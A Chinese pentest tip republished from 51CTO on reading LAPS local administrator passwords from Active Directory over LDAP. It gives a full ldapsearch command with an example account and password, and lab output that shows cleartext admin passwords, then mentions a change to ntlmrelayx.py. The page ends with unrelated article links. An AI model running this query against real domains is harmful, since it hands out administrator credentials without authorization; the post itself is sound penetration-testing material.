域渗透TIPS:获取LAPS管理员密码

简介:
域渗透TIPS:获取LAPS管理员密码

如果你之前有对启用LAPS机制的主机进行渗透测试,那么你应该能体会到该机制的随机化本地管理员密码是有多么令人痛苦。

LAPS将其信息存储在活动目录:

  • 存储密码过期时间:ms-Mcs-AdmPwdExpirationTime: 131461867015760024
  • 以明文显示的存储密码:ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#(

LAPS早期版本中,任何用户都能够读取活动目录中的内容。还好微软已经修复,目前你必须获得该对象的所有扩展权限或者是完全控制权限才能够进行访问。

域渗透TIPS:获取LAPS管理员密码

在复杂的真实环境中,内网主机中还可能存在隐藏的OU权限管理员,甚至是拥有完全控制权限的,负责特定用户组的一个标准用户。

得益于Meatballs开发的Metasploit模块:

https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb 帮助我们完成了这项工作。但是我们不可能每次都特地打开一个Meterpreter会话来运行该模块吧?

使用ldapsearch(包含在Debian/Ubuntu的ldapscripts程序包中)可以被用来构造与该模块相同的请求,以下便是一个例子:


 
 
  1. ldapsearch -x -h 192.168.80.10 -D \ 
  2. "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" \ 
  3. "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd 

解析:

  • -x – 使用基础身份验证
  • -h 192.168.80.10 – 将ldap连接到域控制器
  • -D “helpdesk” -w ASDqwe123 – 以用户名helpdesk,密码ASDqwe123进行登录
  • -b “dc=sittingduck,dc=info” – 加载整个域的基础LDAP对象
  • “(ms-MCS-AdmPwd=*)” – 过滤掉所有不能查看的ms-MCS-AdmPwd值 (只要拥有足够的权限,甚至还可以获取Administrator密码)
  • ms-MCS-AdmPwd – 仅显示ms-MCS-AdmPwd对象 (默认包含对象名以及DN,所以你还是能知道主机从属关系)

运行情况如下:


 
 
  1. $ ldapsearch -x -h 192.168.80.10 -D "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd 
  2. # extended LDIF 
  3. # LDAPv3 
  4. # base <dcdc=sittingduck,dc=info> with scope subtree 
  5. # filter: (ms-MCS-AdmPwd=*) 
  6. # requesting: ms-MCS-AdmPwd 
  7.  
  8. # DC1, Domain Controllers, sittingduck.info 
  9. dn: CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info 
  10. ms-Mcs-AdmPwd: 2F1i/++N0H+G]{Y&,F 
  11.  
  12. # SDCLIENT_DAWIN7, LabComputers, Lab, sittingduck.info 
  13. dn: CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info 
  14. ms-Mcs-AdmPwd: 8CDR4,2UE8BA{zw2@RR 
  15.  
  16. # SD_WSUS_2012, LabComputers, Lab, sittingduck.info 
  17. dn: CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info 
  18. ms-Mcs-AdmPwd: +3!UY5@g9B.64RV2z/T 
  19.  
  20. # WIN-PM0ID6F0AHN, LabComputers, Lab, sittingduck.info 
  21. dn: CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info 
  22. ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#( 
  23.  
  24. # search reference 
  25. ref: ldap://research.sittingduck.info/DC=research,DC=sittingduck,DC=info 
  26.  
  27. # search reference 
  28. ref: ldap://ForestDnsZones.sittingduck.info/DC=ForestDnsZones,DC=sittingduck,D 
  29.  C=info 
  30.  
  31. # search reference 
  32. ref: ldap://DomainDnsZones.sittingduck.info/DC=DomainDnsZones,DC=sittingduck,D 
  33.  C=info 
  34.  
  35. # search reference 
  36. ref: ldap://sittingduck.info/CN=Configuration,DC=sittingduck,DC=info 
  37.  
  38. # search result 
  39. search: 2 
  40. result: 0 Success 

至从获得本地管理员密码,但还没有确定该帐号是否启用,你可以使用Kerberos进行身份验证。由于Windows中域控制器对LDAP连接不会要求证书验证(据我所知),你只需在ntlmrelayx.py进行一些小修改就能转储LAPS密码了。


本文作者:鸢尾

来源:51CTO

相关文章
|
Shell
openstack 查询网络的port
在OpenStack中,可以使用以下命令来查询网络的端口信息: ```bash openstack port list ``` 该命令将显示所有端口的列表,包括端口的ID、网络ID、MAC地址、IP地址等信息。 如果您只想查询特定网络的端口,可以使用`openstack port list --network <network_id>`命令,其中`<network_id>`是您要查询的网络ID。 另外,如果您想查看端口的详细信息,可以使用`openstack port show <port_id>`命令,其中`<port_id>`是您要查询的端口ID。该命令将显示端口的详细信息,包括网
520 2
|
安全 Linux Shell
【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
2792 0
【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
|
Linux Perl
Centos8 yum源配置方法
本文介绍了Centos8 版本中yum的配置
11425 30
Centos8 yum源配置方法
|
5月前
|
人工智能 编解码 搜索推荐
16个AI Logo 设计工具大盘点:技术解析、Logo格式对比与实用推荐
本文介绍了品牌标志(Logo)的重要性,并盘点了多款免费且好用的 Logo 生成工具,分析其输出尺寸、格式及适用场景,帮助无设计基础的用户选择合适工具,高效制作满足不同用途的 Logo。
512 0
|
监控 Shell 调度
Mac创建定时任务
Mac创建定时任务
|
9月前
|
人工智能 编解码 算法
VideoFusion:开源视频处理神器!一键去黑边水印,AI提升画质+批量剪辑全搞定
VideoFusion 是一款开源的AI视频剪辑工具,支持自动去除视频黑边、水印和字幕,提供批量处理、画质提升等功能,适合视频创作者和自媒体运营者使用。
1163 3
|
监控 安全 数据安全/隐私保护
|
安全 Shell Windows
【权限提升】WIN本地用户&BypassUAC&DLL劫持&引号路径&服务权限
【权限提升】WIN本地用户&BypassUAC&DLL劫持&引号路径&服务权限
321 2
|
机器学习/深度学习 数据采集 人工智能
【机器学习】MS_MARCO_Web_Search解析说明
【机器学习】MS_MARCO_Web_Search解析说明
299 0
|
缓存 云计算
代理IP助力云函数实现更高效的网络通信
代理IP助力云函数实现更高效的网络通信
219 3

热门文章

最新文章